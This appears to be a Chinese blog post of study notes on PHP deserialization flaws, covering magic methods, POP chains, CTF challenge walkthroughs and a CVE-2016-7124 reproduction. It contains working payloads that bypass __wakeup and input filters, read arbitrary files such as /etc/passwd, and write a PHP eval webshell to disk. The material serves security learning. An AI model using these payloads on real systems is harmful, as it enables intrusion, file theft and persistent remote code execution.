IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> PHP反序列化漏洞学习 -> 正文阅读

[PHP知识库]PHP反序列化漏洞学习

PHP反序列化学习笔记

一、序列化与反序列化函数

(反)序列化给我们传递对象提供了一种简单的方法。

  • serialize()将一个对象转换成一个字符串
  • unspecialize()将字符串还原为一个对象

序列化一般都是在,如果一个对象你想让其保存或者传到另一个电脑,或者想要存放到数据库中,那么就要对其进行序列化。

反序列化本质是没有危害的,但是如果用户可控数据反序列化那么就会存在危害的。总之一切用户输入都是有害的

serialize.php

<?php
	class test{
    public $name = 'Jack';
	public $age = '16';
    public $num_of_var = 2;
}

$obj = new test();
echo serialize($obj)
?>
//返回值
O:4:"test":3:{s:4:"name";s:4:"Jack";s:3:"age";s:2:"16";s:10:"num_of_var";i:2;} 

O:对象类型、A:数组类型
4:对象名称长度(test)
3:对象中变量个数(name、age、num_of_var)
s:string、i:int
4:变量长度
name:value("name":"Jack")
//可见serialize函数的作用就是,把一个对象转换为一个字符串

unserialize.php

<?php
	class test{
    public $name = 'Jack';
	public $age = '16';
    public $num_of_var = 2;
}

$obj = new test();
$ser = serialize($obj);
$un_ser = unserialize($ser);
print_r($un_ser);
?>
    
#返回值
test Object ( [name] => Jack [age] => 16 [num_of_var] => 2 )
//unserialize函数的作用就是把一个字符串转换为PHP对象

二、魔术方法

PHP 将所有以__(两个下划线)开头的类方法保留为魔术方法。

常用的魔术方法:

  • __construct()

PHP5 允行开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。

  • __destruct()

析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行

  • __sleep()

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。

  • __wakeup()

unserialize() 会检查是否存在一个 __wakeup()方法。如果存在,则会先调用该方法,预先准备对象需要的资源。但是又当序列化字符串中表示属性的个数如果大于真实属性的个数时,则会跳过__wakeup()方法

  • __toString()
    在将一个对象转化成字符串时自动调用
<?php
class test{
    public function __wakeup(){
        echo "执行unserialize前,会先执行wakeup方法";
        echo "<br>";
    }
    public function __sleep(){
       echo "执行serialize前,会先执行sleep方法";
       echo "<br>";
    }
    public function __construct(){
        echo "在创建新对象前,会自动调用construct方法";
        echo "<br>";
    }
    public function __destruct(){
        echo "在销毁对象时,会自动调用destruct方法";
        echo "<br>";
    }
}

$obj =  new test();//会调用construct方法

$str = 'O:4:"test":3:{s:4:"name";s:4:"Jack";s:3:"age";s:2:"16";s:10:"num_of_var";i:2;}"';
$un_ser = unserialize($str);//会先调用wakeup方法
print_r($un_ser);
echo "<br>";
$ser = serialize($un_ser);//会先调用sleep方法
//最后会调用两次destruct方法,第一次是因为前面调用了test类里面的方法,第二次是我们自己创建的对象$obj
?>

代码执行结果如下:

image-20210804115905714

三、PHP反序列化与POP链

1. 什么是POP链

POP面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的调用找到漏洞点

面向对象编程从一定程度上来说,就是完成类与类之间的调用。就像ROP一样,POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”。在PHP中,“组件”就是这些魔术方法(__wakeup()或__destruct)。

简而言之上述叙述就是,POP链是在我们反序列化过程中如果有__wakeup方法,则会先调用其方法,再进行反序列化,而在wakeup方法中,又会调用一些代码或者指令,从而一次次递归调用,那么最后就可以溯源到起点,所形成的的一条调用链

2. 一些常用的POP链方法

命令执行:

exec()
system()    
//同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
passthru()
#打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
popen()

文件操作:

file_put_contents()
file_get_contents()
#删除文件。
unlink()

反序列化中为了避免信息丢失,使用大写S支持字符串的编码。PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:

s:4:"user"; -> S:4:"use\72";

3、深浅copy:在 php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。
4、配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。

3. POP链demo

<?php
class demo
{
    private $data = "demon";
    private $filename = './demo';
    public function __wakeup()
    {
        // TODO: Implement __wakeup() method.
        $this->save($this->filename);
    }
    public function save($filename)
    {
        file_put_contents($filename, $this->data);
    }
}

$obj = new demo();
$ser = serialize($obj);
echo $ser;
//O:4:"demo":2:{s:10:"demodata";s:5:"demon";s:14:"demofilename";s:6:"./demo";}
#传入序列化的字符串即可,完成文件读写操作
echo "<br>";
$un_ser = unserialize($ser);

代码运行结果如下:

image-20210805101900975

4.POP链实例

<?php
// 题目中的第一个Class
class MyDirectory {
    public $name; 
    public function __construct($name) {
        $this->name = $name;
    }
    public function __toString(){
        $num = count(scandir($this->name)); 
        if($num > 0){
            return "count $num files"; 
        } else {
// C限制点
            return "flag path is /flag_{{uuid}}"; 
        }
    }
}
 
// 题目中的第二个Class 
class MyFile {
    public $name;
    public $user;
    public function __construct($name, $user) {
        $this->name = $name;
        $this->user = $user; 
    }
    public function __toString(){
        return file_get_contents($this->name);
    }
// B限制点
    public function __wakeup(){
        if(stristr($this->name, "flag")!==False) 
            $this->name = "/etc/hostname";
        else
            $this->name = "/etc/passwd"; 
        if(isset($_GET['user'])) {
            $this->user = $_GET['user']; 
        }
    }
    public function __destruct() {
        echo $this; 
    }
}
 
//题目中的限制 
if(isset($_GET['input'])){
    $input = $_GET['input']; 
// A限制点
    if(stristr($input, 'user')!==False){
        die('Hacker'); 
    } else {
        unserialize($input);
    }
}else { 
    highlight_file(__FILE__);
}

参考自:https://www.jianshu.com/p/16c56bebc63d

题目分析:

stristr() 函数搜索字符串在另一字符串中的第一次出现。不区分大小写,如果没有找到返回FALSE

一、首先题目对我们的输入user进行过滤,我们可以使用S字符串+16进制编码绕过,以便我们执行unserialize函数

二、在MyFile类里面存在wakeup方法,因为PHP版本大于7.0.10所以我们不能用以往的方法来绕过,需要用到上面提到过的浅copy的方法,即用&(相当于C++里面的引用)使变量A的值指向变量B,那么在B的值改变的时候,A也会跟着改变,这样就可以绕过wakeup方法强制改变A的值了

三、因为在调用wakeup方法中的stristr函数时,会把本类里面的name属性转换为字符串来搜索,所以会调用toString方法,因为其方法是直接return的,所以无回显,导致无法直接获取文件名。所以要配合glob://协议来侧信道出flag的文件名字。

<?php 
class MyFile {
    public $name='/etc/hosts';
    public $user=''; 
}

$a = new MyFile(); 
$a->name = &$a->user; 
$b = serialize($a); 
$b = str_replace("user","use\\72",$b);
$b = str_replace("s","S",$b);
var_dump($b); 

// 得到序列化结果:
// O:6:"MyFile":2:{s:4:"name";s:0:"";S:4:"use\\72";R:2;}

// 文件任意读 payload:
// input=O:6:"MyFile":2: {s:4:"name";s:0:"";S:4:"us\65r";R:2;}&user=/proc/self/mounts

POP链如下:

__construct $a = new MyFile()

__wakeup KaTeX parse error: Expected 'EOF', got '&' at position 11: a->name = &?a->user(name指向user,因为user可控)

__toString 在调用stristr函数会被调用,会执行文件读取函数

__destruct

上述POP链可以执行任意文件读取

四、攻防世界unserialize3

源码如下:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

分析如下:

一是我们看到源码里面有wakeup方法,那么在调用反序列化函数unserialize的时候就会先调用,从而导致直接退出程序。

二是题目最后一行告诉我们,是用code进行提交变量,意味着我们可以自己写函数进行,当做代码被执行。

三是当反序列化字符串中表示属性的个数大于真实属性个数的话,就不会执行wakeup方法

四是题目告诉我们变量flag的值,大概猜解是想让我们反序列化的字符串与flag变量相等即可得到flag

我们先序列化一下111为字符串

<?php
	class xctf{
   public $flag='111';
}

$obj = new xctf();
echo serialize($obj)
?>
//序列化结果
O:4:"xctf":1:{s:4:"flag";s:3:"111";}

我们首先将序列化结果直接传入参数中得到反序列化结果

?code=O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}

image-20210804121545750

从上面看出我们的猜想是正确的,所以我们接下来只需绕过wakeup方法,将对象变量个数的值大于真实变量个数的值即可将1改为2即可

?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}

image-20210804121720267

五、攻防世界Web_php_unserialize

源码如下:

 <?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

分析如下:

一是看到wakeup方法,如果我们调用unserialize函数前,它会先执行,判断我们的文件是不是index,php,如果不是就更改为index.php,但注释又告诉我们秘密在fl4g.php中。

二是题目接收我们变量的参数是var,首先它会进行base64解码,然后进行正则匹配:'/[oc]:\d+:/i'

[oc]:表示匹配o:或者c:开头的字符

\d+:/i 表示匹配多个数字(0-9),而且不区分大小写

所以上面的正则表达式其实就是用来匹配o:数字或者c:的,所以我们只需绕过数字就行

我们可以尝试加号绕过,加号会终止序列化操作

<?php
var_dump(unserialize('O:+4:"test":1:{s:1:"a";s:3:"aaa";}')); 
var_dump(unserialize('O:4:"test":1:{s:1:"a";s:3:"aaa";}')); 
    ?>

参考https://www.phpbug.cn/archives/32.html

所以现在我们的逻辑是这样的,首先通过加号来绕过正则表达式,然后通过修改序列化字符串的变量个数来绕过wakeup方法

这里有一个需要注意的地方

http://p8.qhimg.com/t01f5d091a1302eb43c.png

对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上’*’。这些前缀值在任一侧都有空字节

参考https://www.anquanke.com/post/id/86452

#脚本如下
<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$obj = new Demo('fl4g.php');

//序列化字符串
$usr = serialize($obj);
//绕过正则表达式
$usr = str_replace('O:4', 'O:+4', $usr);
//绕过wakeup方法
$usr = str_replace(':1:', ':2:', $usr);

$str = base64_encode($usr);

print($str);
//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

?>

payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

六、CVE-2016-7124 PHP反序列化漏洞复现

0x00漏洞描述

ext/standard/var_unserializer.c in PHP before 5.6.25 and 7.x before 7.0.10 mishandles certain invalid objects, which allows remote attackers to cause a denial of service or possibly have unspecified other impact via crafted serialized data that leads to a (1) __destruct call or (2) magic method call.

PHP5.6.25之前版本和7.0.10之前的7.x版本中的ext/standard/var_unserializer.c文件存在安全漏洞,该漏洞源于程序没有正确处理无效的对象。远程攻击者可借助特制的序列化数据利用该漏洞造成拒绝服务。

0x01影响版本

5 < PHP < 5.6.25

7 < PHP < 7.0.10

0x02漏洞复现

环境为Win10、PHPStudy

编写测试脚本如下:

test.php

<?php

class test{
    public $name = "fairy";
    public function  __wakeup(){
        echo "this is __wakeup<br>";
    }
    public function __destruct(){
        echo "this is __destruct<br>";
    }
}

#序列化内容
//$obj = new test();
//$ser = serialize($obj);
//echo $ser;
#输出结果
//O:4:"test":1:{s:4:"name";s:5:"fairy";}

$str = $_GET["s"];
@$un_str = unserialize($str);

echo  $un_str->name."<br>";
?>

代码分析:

首先test类里面有一个wakeup方法,所以在我们调用unserialize函数进行反序列化的时候,会先调用这个方法。

此脚本还会以GET方式接收变量s的值,传给变量str,然后会执行反序列化函数,最后会输出反序列化以后的类里面的变量name的值。

?s=O:4:“test”:1:{s:4:“name”;s:5:“fairy”;}

页面执行结果如下

image-20210804214011364

首先执行了wakeup函数,然后输出反序列化以后对象的name属性,代码执行完以后,自动执行destruct方法。

如果我们想要绕过wakeup函数,只需更改序列化字符串中表达变量个数大于真实变量个数即可

?s=O:4:“test”:2:{s:4:“name”;s:5:“fairy”;}

可以发现只调用了destruct方法,因为为了绕过wakeup方法,我们传入了错误的变量个数会导致反序列化创建对象失败

image-20210804215607485

我们更改代码为:

<?php 
class test{
    public $name = "fairy";

    public function __wakeup(){
        echo "this is __wakeup<br>";
        foreach(get_object_vars($this) as $k => $v) {
                $this->$k = null;
        }
    }
    public function __destruct(){
        echo "this is __destruct<br>";
        $fp = fopen("D:\\phpStudy\\PHPTutorial\\WWW\\shell.php","w");
        fputs($fp,$this->name);
        fclose($fp);
    }
}


$str = $_GET["s"];
@$un_str = unserialize($str);
//O:4:"test":1:{s:4:"name";s:5:"fairy";}
echo $un_str->name."<br>";
 ?>

我们同样传入一样的参数

?s=O:4:“test”:1:{s:4:“name”;s:5:“fairy”;}

image-20210804221132409

image-20210804221219267

发现页面并没有回显fairy,同时文件里面也是空的,这是因为在调用unserialize函数之前,会先调用wakeup方法,导致其类里面的对象都会被设置为NULL,所以没有显示fairy以及文件里面没有内容,所以我们只需要绕过wakeup方法,即可得到正确结果

?s=O:4:“test”:2:{s:4:“name”;s:5:“fairy”;}

image-20210804221734453

回显仍然没有fairy的原因就是因为错误的参数导致,反序列化失败,但是文件里面有了内容,即证明我们的wakeup方法成功绕过

image-20210804221855548

我们也可以传入一句话木马进去

?s=O:4:"test":2:{s:4:"name";s:27:"<?php @eval($_POST['a'];)?>";}

image-20210804222830063

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-06 09:23:16  更:2021-08-06 09:24:46 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/4 23:52:04-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码